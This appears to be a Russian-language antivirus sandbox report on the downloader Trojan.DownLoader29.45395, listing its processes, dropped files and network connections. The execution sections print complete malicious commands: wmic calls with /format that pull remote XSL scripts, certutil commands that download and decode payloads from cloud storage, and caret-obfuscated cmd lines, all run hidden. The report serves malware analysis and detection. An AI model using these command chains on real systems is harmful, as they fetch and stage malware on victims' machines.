Trojan.DownLoader29.45395

Техническая информация

Вредоносные функции

Создает и запускает на исполнение

'<SYSTEM32>\wbem\wmic.exe' os get zzvvvje5d, 5577hii, PlusProductID /format:"http://ra#.####ubusercontent.com/GCMaia/Sharing/master/.idea/libraries/x/09/v.xsl#025017q2349hIEO"
'<SYSTEM32>\wbem\wmic.exe' os get FUCRCKMC, ZBQZDRQL, CLLTMYMX, freevirtualmemory /format:"https://raw.githubusercontent.com/GCMaia/Sharing/master/.idea/libraries/x/09/vv.xsl#778233"
'<SYSTEM32>\certutil.exe' -urlcache -split -f https://storage.googleapis.com/linuxczv/09/halawxtza.jpg.zip.log?761768493 C:\Users\Public\Libraries\win32\halawxtza.jpg.z
'<SYSTEM32>\certutil.exe' -decode C:\Users\Public\Libraries\win32\halawxtza.jpg.z C:\Users\Public\Libraries\win32\halawxtza.jpg
'<SYSTEM32>\certutil.exe' -urlcache -split -f https://storage.googleapis.com/linuxczv/09/halawxtzb.jpg.zip.log?550011911 C:\Users\Public\Libraries\win32\halawxtzb.jpg.z
'<SYSTEM32>\certutil.exe' -decode C:\Users\Public\Libraries\win32\halawxtzb.jpg.z C:\Users\Public\Libraries\win32\halawxtzb.jpg
'<SYSTEM32>\certutil.exe' -urlcache -split -f https://storage.googleapis.com/linuxczv/09/halawxtzc.jpg.zip.log?506324074 C:\Users\Public\Libraries\win32\halawxtzc.jpg.z
'<SYSTEM32>\certutil.exe' -decode C:\Users\Public\Libraries\win32\halawxtzc.jpg.z C:\Users\Public\Libraries\win32\halawxtzc.jpg
'<SYSTEM32>\certutil.exe' -urlcache -split -f https://storage.googleapis.com/linuxczv/09/halawxtzdwwn.gif.zip.log?946807332 C:\Users\Public\Libraries\win32\halawxtzdwwn.gif.z
'<SYSTEM32>\certutil.exe' -decode C:\Users\Public\Libraries\win32\halawxtzdwwn.gif.z C:\Users\Public\Libraries\win32\halawxtzdwwn.gif
'<SYSTEM32>\certutil.exe' -urlcache -split -f https://storage.googleapis.com/linuxczv/09/halawxtzdx.gif.zip.log?251477162 C:\Users\Public\Libraries\win32\halawxtzdx.gif.z
'<SYSTEM32>\certutil.exe' -decode C:\Users\Public\Libraries\win32\halawxtzdx.gif.z C:\Users\Public\Libraries\win32\halawxtzdx.gif
'<SYSTEM32>\certutil.exe' -urlcache -split -f https://storage.googleapis.com/linuxczv/09/halawxtzg.gif.zip.log?831642567 C:\Users\Public\Libraries\win32\halawxtzg.gif.z

Изменения в файловой системе

Создает следующие файлы

%TEMP%\6l4hwoy.jpg:fjibzxx.cmd
<LS_APPDATA>\microsoft\windows\<INETFILES>\content.ie5\re1n75kr\halawxtzdwwn.gif.zip[1].log
C:\users\public\libraries\win32\halawxtzc.jpg
C:\users\public\libraries\win32\halawxtzc.jpg.z
<LS_APPDATA>\microsoft\windows\<INETFILES>\content.ie5\bzjx5bke\halawxtzc.jpg.zip[1].log
C:\users\public\libraries\win32\halawxtzb.jpg
C:\users\public\libraries\win32\halawxtzb.jpg.z
<LS_APPDATA>\microsoft\windows\<INETFILES>\content.ie5\caasbycl\halawxtzb.jpg.zip[1].log
C:\users\public\libraries\win32\halawxtza.jpg
C:\users\public\libraries\win32\halawxtza.jpg.z
<LS_APPDATA>\microsoft\windows\<INETFILES>\content.ie5\0u8lpyu9\halawxtza.jpg.zip[1].log
%TEMP%\sxs182f.tmp
<LS_APPDATA>\microsoft\windows\<INETFILES>\content.ie5\re1n75kr\vv[1].xsl
%TEMP%\nnrdgldz.jpg:init.cmd
%TEMP%\sxsf814.tmp
<LS_APPDATA>\microsoft\windows\<INETFILES>\content.ie5\caasbycl\v[1].xsl
C:\users\public\libraries\win32\halawxtzdwwn.gif.z
C:\users\public\libraries\win32\halawxtzdwwn.gif

Сетевая активность

Подключается к

'ra#.####ubusercontent.com':443
'st#####.googleapis.com':443

TCP

Запросы HTTP GET

http://ra#.####ubusercontent.com/GCMaia/Sharing/master/.idea/libraries/x/09/v.xsl

UDP

DNS ASK ra#.####ubusercontent.com
DNS ASK st#####.googleapis.com

Другое

Создает и запускает на исполнение

'<SYSTEM32>\cmd.exe' /c echo wmic ^os ^get ^FUCRCKMC, ^ZBQZDRQL, ^CLLTMYMX, ^freevirtualmemory ^/format:"https://raw.githubusercontent.com/GCMaia/Sharing/master/.idea/libraries/x/09/vv.xsl#778233" > %TMP%\NNRDGLDZ...' (со скрытым окном)
'<SYSTEM32>\certutil.exe' -urlcache -split -f https://storage.googleapis.com/linuxczv/09/halawxtza.jpg.zip.log?761768493 C:\Users\Public\Libraries\win32\halawxtza.jpg.z' (со скрытым окном)
'<SYSTEM32>\certutil.exe' -decode C:\Users\Public\Libraries\win32\halawxtza.jpg.z C:\Users\Public\Libraries\win32\halawxtza.jpg' (со скрытым окном)
'<SYSTEM32>\certutil.exe' -urlcache -split -f https://storage.googleapis.com/linuxczv/09/halawxtzb.jpg.zip.log?550011911 C:\Users\Public\Libraries\win32\halawxtzb.jpg.z' (со скрытым окном)
'<SYSTEM32>\certutil.exe' -decode C:\Users\Public\Libraries\win32\halawxtzb.jpg.z C:\Users\Public\Libraries\win32\halawxtzb.jpg' (со скрытым окном)
'<SYSTEM32>\certutil.exe' -urlcache -split -f https://storage.googleapis.com/linuxczv/09/halawxtzc.jpg.zip.log?506324074 C:\Users\Public\Libraries\win32\halawxtzc.jpg.z' (со скрытым окном)
'<SYSTEM32>\certutil.exe' -decode C:\Users\Public\Libraries\win32\halawxtzc.jpg.z C:\Users\Public\Libraries\win32\halawxtzc.jpg' (со скрытым окном)
'<SYSTEM32>\certutil.exe' -urlcache -split -f https://storage.googleapis.com/linuxczv/09/halawxtzdwwn.gif.zip.log?946807332 C:\Users\Public\Libraries\win32\halawxtzdwwn.gif.z' (со скрытым окном)
'<SYSTEM32>\certutil.exe' -decode C:\Users\Public\Libraries\win32\halawxtzdwwn.gif.z C:\Users\Public\Libraries\win32\halawxtzdwwn.gif' (со скрытым окном)
'<SYSTEM32>\certutil.exe' -urlcache -split -f https://storage.googleapis.com/linuxczv/09/halawxtzdx.gif.zip.log?251477162 C:\Users\Public\Libraries\win32\halawxtzdx.gif.z' (со скрытым окном)
'<SYSTEM32>\certutil.exe' -decode C:\Users\Public\Libraries\win32\halawxtzdx.gif.z C:\Users\Public\Libraries\win32\halawxtzdx.gif' (со скрытым окном)
'<SYSTEM32>\certutil.exe' -urlcache -split -f https://storage.googleapis.com/linuxczv/09/halawxtzg.gif.zip.log?831642567 C:\Users\Public\Libraries\win32\halawxtzg.gif.z' (со скрытым окном)

Запускает на исполнение

'<SYSTEM32>\cmd.exe' -
'<SYSTEM32>\cmd.exe' /c echo wmic ^os ^get ^FUCRCKMC, ^ZBQZDRQL, ^CLLTMYMX, ^freevirtualmemory ^/format:"https://raw.githubusercontent.com/GCMaia/Sharing/master/.idea/libraries/x/09/vv.xsl#778233" > %TMP%\NNRDGLDZ...